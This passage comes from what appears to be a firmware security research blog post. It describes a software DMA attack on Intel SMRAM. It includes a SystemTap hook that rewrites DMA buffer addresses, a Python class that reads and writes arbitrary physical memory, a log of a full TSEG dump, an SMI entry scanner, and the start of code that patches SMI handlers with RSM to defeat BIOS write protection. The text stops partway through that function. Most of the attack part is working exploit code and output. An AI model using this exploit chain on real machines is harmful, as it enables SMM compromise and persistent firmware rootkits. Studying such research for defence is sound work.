    [*]   TSEG Range (TSEGMB-BGSM)      : [0xFF000000-0xD77FFFFF]
    [*]   SMRR Range (size = 0x00800000): [0xD7000000-0xD77FFFFF]
    
    [*] checking locks..
    [+]   TSEGMB is locked
    [+]   BGSM is locked
    [*] checking TSEG alignment..
    [+]   TSEGMB is 8MB aligned
    [*] checking TSEG covers entire SMRR range..
    [-]   TSEG doesn't cover entire SMRAM
    
    [-] FAILED: TSEG is not properly configured. SMRAM is vulnerable to DMA attacks
    
[/code]

  
Ok, DMA protection of SMRAM is disabled and we can move to the next step. Of
course, it’s completely pointless to perform such attack with specially
designed hardware: we want to break all the things without having any physical
access to the target platform, which means that we need to hijack DMA
transactions initiated by operating system with device drivers code hooks.  
  

###  Hooking Linux kernel with SystemTap

  
The idea of software DMA attack that was proposed by Rafal Wojtczuk in his
“Subverting the Xen hypervisor” talk is the following:  
  

  1. To read arbitrary physical memory attacker opens an empty file with O\_DIRECT flag of open\(\) that needed to bypass file system cache.
  2. Then attacker allocates a dummy virtual memory buffer using mmap\(\) and writes it to opened file with the write\(\) syscall.
  3. During disk write dispatch ATAPI driver of Linux kernel calls dma\_map\_sg\(\) function to setup physical memory buffers for scatter-gather DMA operation. Attacker needs to hook this function to iterate memory buffers information passed in scatterlist structure, find physical address of previously allocated buffer and replace it with address of physical memory that he needs to read.
  4. When write\(\) successfully returns — attacker can read that data back from file to get dumped memory contents.

  
Arbitrary physical memory write scenario is almost the same, but attacker
needs to use read\(\) syscall instead of write\(\).  
  
Kernel documentation has "Dynamic DMA mapping Guide" \(DMA-API-HOWTO.TXT\)
document that might be a good walkthrough into the Linux DMA API for device
drivers development. Memory regions allocated for scatter-gather DMA operation
are represented by scatterlist structures. Here's it's definition from from
kernel headers, physical address of memory buffer that was passed to
read\(\)/write\(\) syscall usually going in dma\_address field:  

[code]

    struct scatterlist {
    #ifdef CONFIG_DEBUG_SG
            unsigned long   sg_magic;
    #endif
            unsigned long   page_link;
            unsigned int    offset;
            unsigned int    length;
            dma_addr_t      dma_address;
    #ifdef CONFIG_NEED_SG_DMA_LENGTH
            unsigned int    dma_length;
    #endif
    };
    
[/code]

  
Rafal used loadable kernel module to hook dma\_map\_sg\(\) function.
Unfortunately, on my version of Linux kernel this function defined as simple
macro that expands to dma\_map\_sg\_attrs\(\) function:  

[code]

    #define dma_map_sg(d, s, n, r) dma_map_sg_attrs(d, s, n, r, NULL)
    
    static inline int dma_map_sg_attrs(struct device *dev, struct scatterlist *sg,
                                       int nents, enum dma_data_direction dir,
                                       struct dma_attrs *attrs)
    {
            struct dma_map_ops *ops = get_dma_ops(dev);
            int i, ents;
            struct scatterlist *s;
    
            for_each_sg(sg, s, nents, i)
                    kmemcheck_mark_initialized(sg_virt(s), s->length);
            BUG_ON(!valid_dma_direction(dir));
            ents = ops->map_sg(dev, sg, nents, dir, attrs);
            BUG_ON(ents < 0);
            debug_dma_map_sg(dev, sg, nents, ents, dir);
    
            return ents;
    }
    
[/code]

  
Because dma\_map\_sg\_attrs\(\) is inline — we can’t locate and hook it's code
in easy way, so, we have to find some other solution. As you can see, there’s
a call of debug\_dma\_map\_sg\(\) function that also might be possible to
hook:  

[code]

    extern void debug_dma_map_sg(struct device *dev, struct scatterlist *sg,
                                 int nents, int mapped_ents, int direction);
    
[/code]

  
Actually, this function presents in kernel binary only if it was compiled with
CONFIG\_DMA\_API\_DEBUG option and because it’s very unlikely that your
favourite Linux distro uses it — we have to configure and build new kernel
from the source code. Such limitation isn’t nice, but for proof of concept
purposes it seems not very critical. Also, in case of reliable firmware
rootkit for real life purposes it’s still possible to implement some binary
heuristics that locates inlined dma\_map\_sg\_attrs\(\) code, but for current
article this topic is out of the scope.  
  
To make DMA attack PoC a bit more simpler I implemented
debug\_dma\_map\_sg\(\) function hook with the help of the SystemTap instead
of writing any loadable kernel modules with bare hands. SystemTap is a Linux
clone of DTrace that allows developers and administrators to write a scripts
on simplified C-like language to examine the activities of a live Linux
system. SystemTap works by translating the script to C, running the system C
compiler to create a kernel module from that. When the module is loaded — it
activates all the probed events by hooking into the kernel.  
  
Here you can see a simple SystemTap script that hooks debug\_dma\_map\_sg\(\)
function and prints it’s arguments information into stdout:  

[code]

    #
    # kernel function probe handler
    #
    probe kernel.function("debug_dma_map_sg")
    {
        printf("%s(%d): %s(): %d\n", execname(), pid(), probefunc(), $nents);
    
        #
        # Each call to sys_write() leads to corresponding call of dma_map_sg(),
        # $sg argument contains list of DMA buffers
        #
        for (i = 0; i < $nents; i++)
        {
            printf(" #%d (0x%x): 0x%x\n", i, $sg[i]->length, $sg[i]->dma_address);
        }
    }
    
[/code]

  
On debian based systems SystemTap can be installed with apt-get install
systemtap command. If you want to install it from the source code — be sure
that your kernel was compiled with the following options enabled:  
  

  * CONFIG\_DEBUG\_INFO
  * CONFIG\_KPROBES
  * CONFIG\_RELAY
  * CONFIG\_DEBUG\_FS
  * CONFIG\_MODULES
  * CONFIG\_MODULE\_UNLOAD
  * CONFIG\_UPROBES

  
Now let’s try to run our test script using stap command:  

[code]

    localhost ~ # stap -v debug_dma_map_sg.stp
    Pass 1: parsed user script and 109 library script(s) using 62180virt/36436res/4264shr/32980data kb, in 160usr/10sys/171real ms.
    Pass 2: analyzed script: 1 probe(s), 11 function(s), 4 embed(s), 0 global(s) using 108852virt/84660res/5780shr/79652data kb, in 790usr/210sys/997real ms.
    Pass 3: translated to C into "/tmp/stapo6EAoq/stap_be741121b1c20b85b38ff640ac798be6_6031_src.c" using 108852virt/84788res/5908shr/79652data kb, in 190usr/50sys/237real ms.
    Pass 4: compiled C into "stap_be741121b1c20b85b38ff640ac798be6_6031.ko" in 3430usr/290sys/4579real ms.
    Pass 5: starting run.
    usb-storage(1110): debug_dma_map_sg(): 9
     #0 (0x1000): 0x3ecca2000
     #1 (0x1000): 0x2f34000
     #2 (0x1000): 0x41e2b4000
     #3 (0x1000): 0xd671e000
     #4 (0x1000): 0x41e22e000
     #5 (0x1000): 0x40687b000
     #6 (0x1000): 0x4061b9000
     #7 (0x1000): 0xd670e000
     #8 (0x1000): 0x41ddc0000
    usb-storage(1110): debug_dma_map_sg(): 1
     #0 (0x1000): 0x4027e000
    usb-storage(1110): debug_dma_map_sg(): 2
     #0 (0x1000): 0x4023d6000
     #1 (0x1000): 0x3f7be6000
    usb-storage(1110): debug_dma_map_sg(): 1
     #0 (0x1000): 0x406595000
    usb-storage(1110): debug_dma_map_sg(): 1
     #0 (0x1000): 0x41e1fb000
    usb-storage(1110): debug_dma_map_sg(): 2
     #0 (0x1000): 0xd5460000
     #1 (0x1000): 0xd522f000
    usb-storage(1110): debug_dma_map_sg(): 2
    
[/code]

  

###  Writing DMA attack exploit

  
I decided to code software DMA exploit on Python, same as the tools from my
previous posts. First of all — we need to implement DMA buffer hijack.
Following SystemTap script \(stored as Python string variable\) accepts
physical address of memory buffer passed to read\(\)/write\(\) as first
argument and target address of physical memory that we need to read/write as
second:  

[code]

    # print more information from running SystemTap script
    VERBOSE = False
    
    # script source code
    SCRIPT_CODE = '''
    
    global data_len = 0
    global verbose = ''' + ('1' if VERBOSE else '0') + '''
    
    #
    # kernel function probe handler
    #
    probe kernel.function("debug_dma_map_sg")
    {
        # parse script arguments passed to stap
        phys_addr = strtol(@1, 16);
        target_addr = strtol(@2, 16);
    
        printf("%s(%d): %s(): %d\\n", execname(), pid(), probefunc(), $nents);
    
        #
        # Each call to sys_write() leads to corresponding call of dma_map_sg(),
        # $sg argument contains list of DMA buffers
        #
        if (verbose != 0)
        {
            for (i = 0; i < $nents; i++)
            {
                printf(" #%d (0x%x): 0x%x\\n", i, $sg[i]->length, $sg[i]->dma_address);
            }
        }    
    
        # check for data that came from dma_expl.py os.write() call
        if ($nents > 0 && $sg[0]->dma_address == phys_addr)
        {
            printf("[+] DMA request found, changing address to 0x%x\\n",
                   target_addr + data_len);
    
            # replace addresses of DMA buffers
            for (i = 0; i < $nents; i++)
            {
                $sg[i]->dma_address = target_addr + data_len;
                data_len += $sg[i]->length;    
            }
        }
    }
    
    '''
    
[/code]

  
Python class that inherits threading.Thread to run SystemTap script in
background and print it’s output into stdout:  

[code]

    SCRIPT_PATH = '/tmp/dma_expl.stp'
    
    class Worker(threading.Thread):
    
        def __init__(self, phys_addr, target_addr):
    
            super(Worker, self).__init__()
    
            self.daemon = True
            self.started = True
            self.count = 0
    
            # drop script file into the /tmp
            self.create_file()
    
            # run SystemTap script
            self.p = subprocess.Popen([ 'stap', '-g', '-v', SCRIPT_PATH,
                                      hex(phys_addr), hex(target_addr) ],
                                      stdout = subprocess.PIPE, stderr = subprocess.PIPE)
    
            # wait for script initialization
            while self.started:
    
                line = self.p.stderr.readline()
                sys.stdout.write(line)
    
                if line == '':
    
                    break
    
                # check for pass 5 that indicates sucessfully loaded script
                elif line.find('Pass 5') == 0:
    
                    print '[+] SystemTap script started'
                    break
    
        def create_file(self):
    
            # save script contents into the file
            with open(SCRIPT_PATH, 'wb') as fd:
    
                fd.write(SCRIPT_CODE)
    
        def run(self):
    
            while self.started:
    
                # read and print script output
                line = self.p.stdout.readline()
    
                if VERBOSE:
    
                    sys.stdout.write(line)
    
                if line == '':
    
                    self.started = False
                    break
    
                # check for hijacked DMA request
                elif line.find('[+]') == 0:
    
                    self.count += 1
    
        def start(self):
    
            super(Worker, self).start()
    
            # delay after script start
            time.sleep(1)
    
        def stop(self):
    
            if self.started:
    
                # delay before script shutdown
                time.sleep(3)
    
                self.started = False
                os.kill(self.p.pid, signal.SIGINT)
    
[/code]

  
Now we need to allocate the data buffer for disk read/write and get it’s
physical address. Python has build-in mmap module, but this module is not
allows to determinate virtual address of allocated memory. To deal with this
problem I used ctypes and neat introspection hack that was mentioned in
“Understanding Python by breaking it” article by Clement Rouault:  

[code]

    import mmap
    from ctypes import *
    
    class PyObj(Structure):
    
        _fields_ = [("ob_refcnt", c_size_t),
                    ("ob_type", c_void_p)]
    
    # ctypes object for introspection
    class PyMmap(PyObj):
    
        _fields_ = [("ob_addr", c_size_t)]
    
    # class that inherits mmap.mmap and has the page address
    class MyMap(mmap.mmap):
    
        def __init__(self, *args, **kwarg):
    
            # get the page address by introspection of the native structure
            m = PyMmap.from_address(id(self))
            self.addr = m.ob_addr
    
[/code]

  
To convert obtained virtual address to physical exploit uses
/proc/self/pagemap Linux pseudo-file that allows to find out which physical
frame each virtual page is mapped to. Every page of virtual memory is
represented inside pagemap as single 8 bytes structure that contains physical
memory Page Frame Number \(PFN\) and information flags.  
  
Here’s the exploit class, it’s constructor accepts the address of physical
memory to read/write, allocates the data buffer, obtains it’s physical address
and starts the SystemTap script:  

[code]

    PAGE_SIZE = 0x1000
    TEMP_PATH = '/tmp/dma_expl.tmp'
    
    class DmaExpl(object):
    
        # maximum amount of data that can be transfered during single dma_map_sg() call
        MAX_IO_SIZE = PAGE_SIZE * 0x1E
    
        def __init__(self, target_addr):
    
            if target_addr & (PAGE_SIZE - 1) != 0:
    
                raise Exception('Address must be aligned by 0x%x' % PAGE_SIZE)
    
            self.phys_addr = 0
            self.target_addr = target_addr
            self.libc = cdll.LoadLibrary("libc.so.6")
    
            # allocate dummy data buffer
            self.buff = MyMap(-1, self.MAX_IO_SIZE, mmap.PROT_WRITE) 
            self.buff.write('\x41' * self.MAX_IO_SIZE)
    
            print '[+] Memory allocated at 0x%x' % self.buff.addr
    
            with open('/proc/self/pagemap', 'rb') as fd:
    
                # read physical address information
                fd.seek(self.buff.addr / PAGE_SIZE * 8)
                phys_info = struct.unpack('Q', fd.read(8))[0]
    
                # check that page is mapped and not swapped
                if phys_info & (1L << 63) == 0:
    
                    raise Exception('Page is not present')
    
                if phys_info & (1L << 62) != 0:
    
                    raise Exception('Page is swapped out')
    
                # get physical address from PFN
                self.phys_addr = (phys_info & ((1L << 54) - 1)) * PAGE_SIZE
    
                print '[+] Physical address is 0x%x' % self.phys_addr
    
            # run SystemTap script in background thread
            self.worker = Worker(self.phys_addr, target_addr)
            self.worker.start()
    
        def close(self):
    
            self.worker.stop()
    
        # ...
    
[/code]

  
DmaExpl class method that reads arbitrary physical memory with DMA attack:  

[code]

    class DmaExpl(object):
    
        # ...
    
        def _dma_read(self, read_size):              
    
            count = self.worker.count
    
            print '[+] Reading physical memory 0x%x - 0x%x' % \
                  (self.target_addr, self.target_addr + read_size - 1)        
    
            # O_DIRECT is needed to write our data to disk immediately
            fd = os.open(TEMP_PATH, os.O_CREAT | os.O_TRUNC | os.O_RDWR | os.O_DIRECT)
    
            # initiate DMA transaction
            if self.libc.write(fd, c_void_p(self.buff.addr), read_size) == -1:
    
                os.close(fd)
                raise Exception("write() fails")
    
            os.close(fd)
    
            while self.worker.count == count:
    
                # wait untill intercepted debug_dma_map_sg() call
                time.sleep(0.1)
    
            with open(TEMP_PATH, 'rb') as fd:
    
                # get readed data
                data = fd.read(read_size)
    
            os.unlink(TEMP_PATH)
    
            self.target_addr += read_size
    
            return data
    
        def read(self, read_size):
    
            data = ''
    
            if read_size < PAGE_SIZE or read_size % PAGE_SIZE != 0:
    
                raise Exception('Invalid read size')
    
            while read_size > 0:
    
                #
                # We can read only MAX_IO_SIZE bytes of physical memory
                # with each os.write() call.
                #
                size = min(read_size, self.MAX_IO_SIZE)
                data += self._dma_read(size)
    
                read_size -= size
    
            print '[+] DONE'
    
            return data
    
[/code]

  
And similar method that writes arbitrary physical memory:  

[code]

    class DmaExpl(object):
    
        # ...
    
        def _dma_write(self, data):
    
            count = self.worker.count
            write_size = len(data)
    
            print '[+] Writing physical memory 0x%x - 0x%x' % \
                  (self.target_addr, self.target_addr + write_size - 1)        
    
            with open(TEMP_PATH, 'wb') as fd:
    
                # get readed data
                fd.write(data)
    
            # O_DIRECT is needed to write our data to disk immediately
            fd = os.open(TEMP_PATH, os.O_RDONLY | os.O_DIRECT)
    
            # initiate DMA transaction
            if self.libc.read(fd, c_void_p(self.buff.addr), write_size) == -1:
    
                os.close(fd)
                raise Exception("read() fails")
    
            os.close(fd)
    
            while self.worker.count == count:
    
                # wait untill intercepted debug_dma_map_sg() call
                time.sleep(0.1)
    
            os.unlink(TEMP_PATH)
    
            self.target_addr += write_size
    
        def write(self, data):
    
            ptr = 0
            write_size = len(data)
    
            if write_size < PAGE_SIZE or write_size % PAGE_SIZE != 0:
    
                raise Exception('Invalid write size')        
    
            while ptr < write_size:
    
                #
                # We can write only MAX_IO_SIZE bytes of physical memory
                # with each os.read() call.
                #
                self._dma_write(data[ptr : ptr + self.MAX_IO_SIZE])
                ptr += self.MAX_IO_SIZE
    
            print '[+] DONE'
    
[/code]

  
Example of DmaExpl usage, code that reads one page of physical memory starting
from the 0xD7000000:  

[code]

    # initialize exploit
    expl = DmaExpl(0xD7000000)
    
    # perform physical memory read
    data = expl.read(0x1000)
    
    # stop SystemTap script
    expl.close()
    
[/code]

  
Using this class I implemented Python script called dma\_expl.py, here is the
example of it's usage on Intel DQ77KB motherboard to dump TSEG region of SMRAM
into the file:  

[code]

    localhost ~ # python dma_expl.py --read 0xD7000000 --size 0x800000 --file TSEG.bin
    [+] Memory allocated at 0x7ff0542ec000
    [+] Physical address is 0x3fa15e000
    Pass 1: parsed user script and 109 library script(s) using 62176virt/36376res/4216shr/32976data kb, in 160usr/0sys/171real ms.
    Pass 2: analyzed script: 1 probe(s), 14 function(s), 4 embed(s), 2 global(s) using 108880virt/84544res/5644shr/79680data kb, in 780usr/220sys/1120real ms.
    Pass 3: translated to C into "/tmp/stapcorPM2/stap_c190a79e672287641579099c59eed383_7943_src.c" using 108880virt/84672res/5772shr/79680data kb, in 170usr/60sys/236real ms.
    Pass 4: compiled C into "stap_c190a79e672287641579099c59eed383_7943.ko" in 3560usr/270sys/5209real ms.
    Pass 5: starting run.
    [+] SystemTap script started
    [+] Reading physical memory 0xd7000000 - 0xd701dfff
    [+] Reading physical memory 0xd701e000 - 0xd703bfff
    [+] Reading physical memory 0xd703c000 - 0xd7059fff
    [+] Reading physical memory 0xd705a000 - 0xd7077fff
    [+] Reading physical memory 0xd7078000 - 0xd7095fff
    [+] Reading physical memory 0xd7096000 - 0xd70b3fff
    [+] Reading physical memory 0xd70b4000 - 0xd70d1fff
    [+] Reading physical memory 0xd70d2000 - 0xd70effff
    [+] Reading physical memory 0xd70f0000 - 0xd710dfff
    [+] Reading physical memory 0xd710e000 - 0xd712bfff
    [+] Reading physical memory 0xd712c000 - 0xd7149fff
    [+] Reading physical memory 0xd714a000 - 0xd7167fff
    [+] Reading physical memory 0xd7168000 - 0xd7185fff
    [+] Reading physical memory 0xd7186000 - 0xd71a3fff
    [+] Reading physical memory 0xd71a4000 - 0xd71c1fff
    [+] Reading physical memory 0xd71c2000 - 0xd71dffff
    [+] Reading physical memory 0xd71e0000 - 0xd71fdfff
    [+] Reading physical memory 0xd71fe000 - 0xd721bfff
    [+] Reading physical memory 0xd721c000 - 0xd7239fff
    [+] Reading physical memory 0xd723a000 - 0xd7257fff
    [+] Reading physical memory 0xd7258000 - 0xd7275fff
    [+] Reading physical memory 0xd7276000 - 0xd7293fff
    [+] Reading physical memory 0xd7294000 - 0xd72b1fff
    [+] Reading physical memory 0xd72b2000 - 0xd72cffff
    [+] Reading physical memory 0xd72d0000 - 0xd72edfff
    [+] Reading physical memory 0xd72ee000 - 0xd730bfff
    [+] Reading physical memory 0xd730c000 - 0xd7329fff
    [+] Reading physical memory 0xd732a000 - 0xd7347fff
    [+] Reading physical memory 0xd7348000 - 0xd7365fff
    [+] Reading physical memory 0xd7366000 - 0xd7383fff
    [+] Reading physical memory 0xd7384000 - 0xd73a1fff
    [+] Reading physical memory 0xd73a2000 - 0xd73bffff
    [+] Reading physical memory 0xd73c0000 - 0xd73ddfff
    [+] Reading physical memory 0xd73de000 - 0xd73fbfff
    [+] Reading physical memory 0xd73fc000 - 0xd7419fff
    [+] Reading physical memory 0xd741a000 - 0xd7437fff
    [+] Reading physical memory 0xd7438000 - 0xd7455fff
    [+] Reading physical memory 0xd7456000 - 0xd7473fff
    [+] Reading physical memory 0xd7474000 - 0xd7491fff
    [+] Reading physical memory 0xd7492000 - 0xd74affff
    [+] Reading physical memory 0xd74b0000 - 0xd74cdfff
    [+] Reading physical memory 0xd74ce000 - 0xd74ebfff
    [+] Reading physical memory 0xd74ec000 - 0xd7509fff
    [+] Reading physical memory 0xd750a000 - 0xd7527fff
    [+] Reading physical memory 0xd7528000 - 0xd7545fff
    [+] Reading physical memory 0xd7546000 - 0xd7563fff
    [+] Reading physical memory 0xd7564000 - 0xd7581fff
    [+] Reading physical memory 0xd7582000 - 0xd759ffff
    [+] Reading physical memory 0xd75a0000 - 0xd75bdfff
    [+] Reading physical memory 0xd75be000 - 0xd75dbfff
    [+] Reading physical memory 0xd75dc000 - 0xd75f9fff
    [+] Reading physical memory 0xd75fa000 - 0xd7617fff
    [+] Reading physical memory 0xd7618000 - 0xd7635fff
    [+] Reading physical memory 0xd7636000 - 0xd7653fff
    [+] Reading physical memory 0xd7654000 - 0xd7671fff
    [+] Reading physical memory 0xd7672000 - 0xd768ffff
    [+] Reading physical memory 0xd7690000 - 0xd76adfff
    [+] Reading physical memory 0xd76ae000 - 0xd76cbfff
    [+] Reading physical memory 0xd76cc000 - 0xd76e9fff
    [+] Reading physical memory 0xd76ea000 - 0xd7707fff
    [+] Reading physical memory 0xd7708000 - 0xd7725fff
    [+] Reading physical memory 0xd7726000 - 0xd7743fff
    [+] Reading physical memory 0xd7744000 - 0xd7761fff
    [+] Reading physical memory 0xd7762000 - 0xd777ffff
    [+] Reading physical memory 0xd7780000 - 0xd779dfff
    [+] Reading physical memory 0xd779e000 - 0xd77bbfff
    [+] Reading physical memory 0xd77bc000 - 0xd77d9fff
    [+] Reading physical memory 0xd77da000 - 0xd77f7fff
    [+] Reading physical memory 0xd77f8000 - 0xd77fffff
    [+] DONE
    
[/code]

  

###  Mysterious SMI entries

  
Now, when we able to read and write SMRAM contents, we can patch it’s code to
prevent BIOSWE bit reset from within the SMM code.  
  
As you may know from Volume 3: System Programming Guide of Intel® 64 and IA-32
Architectures Software Developer’s Manual, when processor is switching to
System Management Mode it starts to execute SMI handler code that located at
fixed offset 0x8000 from the beginning of the SMRAM:  
  

<img src='img/smram-map.png' width='280' height='112' />

  
So, to successfully set BIOSWE bit from operating system the only one thing
that we need to do — patch SMI handler code with RSM instruction that exits
from SMM back to the OS. On my test hardware I met some really weird things
while trying to do that: when I opened TSEG region dump in hex editor and
checked 0x8000 offset — I figured that data located there doesn’t looks like
valid executable code at all:  

[code]

    localhost ~ # hexdump -C --skip 0x8000 --length 0x100 TSEG.bin
    00008000  00 10 00 00 00 00 00 00  00 00 0a 00 00 00 00 00  |................|
    00008010  ee 03 00 00 00 00 00 00  b6 d7 15 77 34 b0 ff 97  |...........w4...|
    00008020  83 46 8f 3f 79 14 d9 c5  99 94 82 dc ff e0 da bf  |.F.?y...........|
    00008030  c3 5b 2d 31 28 93 71 06  54 7d 64 20 8c 9a a3 82  |.[-1(.q.T}d ....|
    00008040  bf 6b a2 e0 6a 13 4b 99  3c a2 c3 58 0a 3a 7b 8f  |.k..j.K.<..X.:{.|
    00008050  2d 24 cb 56 8e 4e b9 38  20 b3 4d 9c 4d 1a 58 8f  |-$.V.N.8 .M.M.X.|
    00008060  ce a9 3a 51 f6 6c 05 57  7b 2f 60 13 5b 5d d3 b4  |..:Q.l.W{/`.[]..|
    00008070  a5 05 0f 07 ec c5 88 d1  91 5e 95 0a 21 11 ee 5a  |.........^..!..Z|
    00008080  8a 7f 0b a3 3b da f8 62  5c 56 e2 b7 4d 50 c2 e7  |....;..b\V..MP..|
    00008090  1e a7 41 cd 1e 6c ea f9  de 36 a1 05 6e 08 d2 8b  |..A..l...6..n...|
    000080a0  1b 90 e1 d4 cf 61 02 ff  6b c4 fb fe c3 74 84 f5  |.....a..k....t..|
    000080b0  27 63 5d ac 90 dd 2d 01  d4 4a a4 39 6c 97 53 84  |'c]...-..J.9l.S.|
    000080c0  87 6d 1c 33 e4 dd 8c cc  1c 40 d3 05 82 d6 3f a1  |.m.3.....@....?.|
    000080d0  77 a2 ce 44 18 4f 72 b1  48 52 f9 ae 17 d2 75 fb  |w..D.Or.HR....u.|
    000080e0  16 7f 54 d8 40 88 de 0b  89 7f 19 1a 67 c9 cd fe  |..T.@.......g...|
    000080f0  45 3f 7f 98 54 89 d4 03  11 69 55 b1 c1 8c 1e 5c  |E?..T....iU....\|
    
[/code]

  
To investigate this thing I downloaded Board Support Package for Quark
\(relatively modern SoC from Intel\) that contains open source implementation
of UEFI compatible board firmware. Among other things, Quark BSP also has some
System Management Mode code — it’s pretty limited and doesn’t support x86\_64
systems, but it still able to tell us some useful information. That’s how SMI
entry looks inside Quark BSP source file
IA32FamilyCpuBasePkg/PiSmmCpuDxeSmm/Ia32/SmiEntry.asm:  

[code]

    _SmiEntryPoint  PROC
        DB      0bbh                        ; mov bx, imm16
        DW      offset _GdtDesc - _SmiEntryPoint + 8000h
        DB      2eh, 0a1h                   ; mov ax, cs:[offset16]
        DW      DSC_OFFSET + DSC_GDTSIZ
        dec     eax
        mov     cs:[edi], eax               ; mov cs:[bx], ax
        DB      66h, 2eh, 0a1h              ; mov eax, cs:[offset16]
        DW      DSC_OFFSET + DSC_GDTPTR
        mov     cs:[edi + 2], ax            ; mov cs:[bx + 2], eax
        mov     bp, ax                      ; ebp = GDT base
        DB      66h
        lgdt    fword ptr cs:[edi]          ; lgdt fword ptr cs:[bx]
        DB      66h, 0b8h                   ; mov eax, imm32
    gSmiCr3     DD      ?
        mov     cr3, eax
        DB      66h
        mov     eax, 020h                   ; as cr4.PGE is not set here, refresh cr3
        mov     cr4, eax                    ; in PreModifyMtrrs() to flush TLB.
        DB      2eh, 0a1h                   ; mov ax, cs:[offset16]
        DW      DSC_OFFSET + DSC_CS
        mov     cs:[edi - 2], eax           ; mov cs:[bx - 2], ax
        DB      66h, 0bfh                   ; mov edi, SMBASE
    gSmbase    DD    ?
        DB      67h
        lea     ax, [edi + (@32bit - _SmiEntryPoint) + 8000h]
        mov     cs:[edi - 6], ax            ; mov cs:[bx - 6], eax
        mov     ebx, cr0
        DB      66h
        and     ebx, 9ffafff3h
        DB      66h
        or      ebx, 80000023h
        mov     cr0, ebx
        DB      66h, 0eah
        DD      ?
        DW      ?
    _GdtDesc    FWORD   ?
    @32bit:
    
        ;
        ; 32-bit SMI handler code goes here 
        ;
    
[/code]

  
Execution of SMI handler starts in 16-bit environment similar to real mode,
code that was listed above performs basic initialization of execution
environment and jumps to 32-bit protected mode where the most of SMM stuff is
actually runs.  
  
Using this information I wrote a Python program that finds SMI entries inside
my TSEG dump using simple signature by it’s 16-bit code stub:  

[code]

    import sys, os, struct
    
    #
    # Extract SMI entries information from SMRAM dump.
    #
    def find_smi_entry(data):
    
        #
        # Standard SMI entry stub signature
        #
        ptr = 0
        sig = [ '\xBB', None, '\x80',                   # mov     bx, 80XXh
                '\x66', '\x2E', '\xA1', None, '\xFB',   # mov     eax, cs:dword_FBXX
                '\x66', None, None,                     # mov     edx, eax
                '\x66', None, None ]                    # mov     ebp, eax
    
        while ptr < len(data):
    
            found = True
            for i in range(len(sig)):
    
                # check for signature at each 100h offset of SMRAM
                if sig[i] is not None and sig[i] != data[ptr + i]:
    
                    found = False
                    break
    
            if found:
    
                print 'SMI entry found at 0x%x' % ptr
    
            ptr += 0x100
    
    def main():   
    
        find_smi_entry(open(sys.argv[1], 'rb').read())
        return 0
    
    if __name__ == '__main__':
    
        sys.exit(main())
    
[/code]

  
This program was successfully able to find four different occurrences of the
handler code which looks pretty sane — one dedicated SMI entry for each CPU
core:  

[code]

    localhost ~ # python smi_entry.py TSEG.bin
    SMI entry at 0x3f6800
    SMI entry at 0x3f7000
    SMI entry at 0x3f7800
    SMI entry at 0x3f8000
    
[/code]

  
That’s how disassembled SMI entry looks on my Intel DQ77KB motherboard:  

[code]

    ;
    ; 16-bit SMI entry stub that enables protected mode
    ;
    mov     bx, 8091h           ; Get GDT descriptor address
    mov     eax, cs:0FB48h      ; Get physical address of new GDT
    mov     edx, eax
    mov     ebp, eax
    add     edx, 50h
    mov     [eax+42h], dx       ; Initialize GDT entry
    shr     edx, 10h
    mov     [eax+44h], dl
    mov     [eax+47h], dh
    mov     ax, cs:0FB50h
    dec     ax
    mov     cs:[bx], ax          ; Set GDT limit
    mov     eax, cs:0FB48h
    mov     cs:[bx+2], eax       ; Set GDT physical address
    db      66h
    lgdt    fword ptr cs:[bx]    ; Switch to the new GDT
    mov     eax, 0D73CB000h
    mov     cr3, eax             ; Set page directory base
    mov     eax, 668h
    mov     cr4, eax             ; Enable PAE
    mov     ax, cs:0FB14h       
    mov     cs:[bx+48h], ax      ; Patch long mode jump with CS segment selector
    mov     ax, 10h
    mov     cs:[bx-2], ax        ; Patch protected mode jump with CS segment selector
    mov     edi, cs:0FEF8h       
    lea     eax, [edi+80DBh]     ; Get 64-bit stub address
    mov     cs:[bx+44h], eax     ; Patch long mode jump with given address
    lea     eax, [edi+8097h]     ; Get 32-bit stub address
    mov     cs:[bx-6], eax       ; Patch protected mode jump with given address
    mov     ecx, 0C0000080h      ; IA32_EFER MSR number
    mov     ebx, 23h
    mov     cr0, ebx             ; Enable protected mode
    jmp     large far ptr 10h:0D73F6897h ; Jump to the protected mode code
    
    ;
    ; 32-bit SMI entry stub that enables long mode
    ;
    mov     ax, 18h              
    mov     ds, ax               ; Update protected mode segment registers
    mov     es, ax
    mov     ss, ax
    mov     al, 1
    
    loc_D73F68A3:
    
    xchg    al, [ebp+8]
    cmp     al, 0
    jz      short loc_D73F68AE
    pause
    jmp     short loc_D73F68A3
    
    loc_D73F68AE:
    
    mov     eax, ebp
    mov     edx, eax
    mov     dl, 89h
    mov     [eax+45h], dl
    mov     eax, 40h
    ltr     ax
    mov     al, 0
    xchg    al, [ebp+8]
    rdmsr                        ; Read current IA32_EFER MSR value
    or      ah, 1                ; Set long mode enabled flag
    wrmsr                        ; Update IA32_EFER MSR value
    mov     ebx, 80000023h
    mov     cr0, ebx             ; Enable paging
    db      67h
    jmp     far ptr 38h:0D73F68DBh ; Jump to the long mode code
    
    ;
    ; 64-bit SMI entry stub that calls UEFI SMM foundation code
    ;
    lea     ebx, [edi+0FB00h]
    mov     ax, [rbx+16h]
    mov     ds, ax               ; Update long mode segment registers
    mov     ax, [rbx+1Ah]
    mov     es, ax
    mov     fs, ax
    mov     gs, ax
    mov     ax, [rbx+18h]
    mov     ss, ax
    mov     rsp, 0D73D4FF8h
    mov     rcx, [rsp]
    mov     rax, 0D70044E4h
    sub     rsp, 208h
    fxsave  qword ptr [rsp]      ; Save FPU registers
    add     rsp, 0FFFFFFFFFFFFFFE0h
    call    rax                  ; sub_D70044E4() that does SMI handling stuff
    add     rsp, 20h
    fxrstor qword ptr [rsp]      ; Restore FPU registers
    rsm  
    
[/code]

  
Unfortunately, I haven’t figured why exactly my motherboard firmware SMI entry
is located at such strange offset instead of 0x8000 as it should be in
according to all of the publicly available documentation. I can assume, that
it might be related somehow with Sandy Bridge, because my other test system
that has hardware of the same generation \(Apple MacBook Pro 10,2\) also has
the same weird SMI offsets. If you have any information that might shed some
light on this question — please let me know :\)  
  

###  SMI entry patching

  
Now, when it’s clear how to find SMI entry addresses, we can implement the
code that uses DMA attack to patch these entries with RSM instruction to
achieve BOISWE bit enable:  

[code]

    # RSM + NOP patch for SMI entry
    SMI_ENTRY_PATCH = '\x0F\xAA\x90'
    
    def patch_smi_entry(smram_addr, smram_size):
    
        ret = 0
        modified_pages = {}
    
        print '[+] Dumping SMRAM...'
    
        # initialize exploit
        expl = dma_expl.DmaExpl(smram_addr)
    
        try:
    
            # read all SMRAM contents
            data = expl.read(smram_size)    
            expl.close()
    
        except Exception, e:
    
            expl.close()
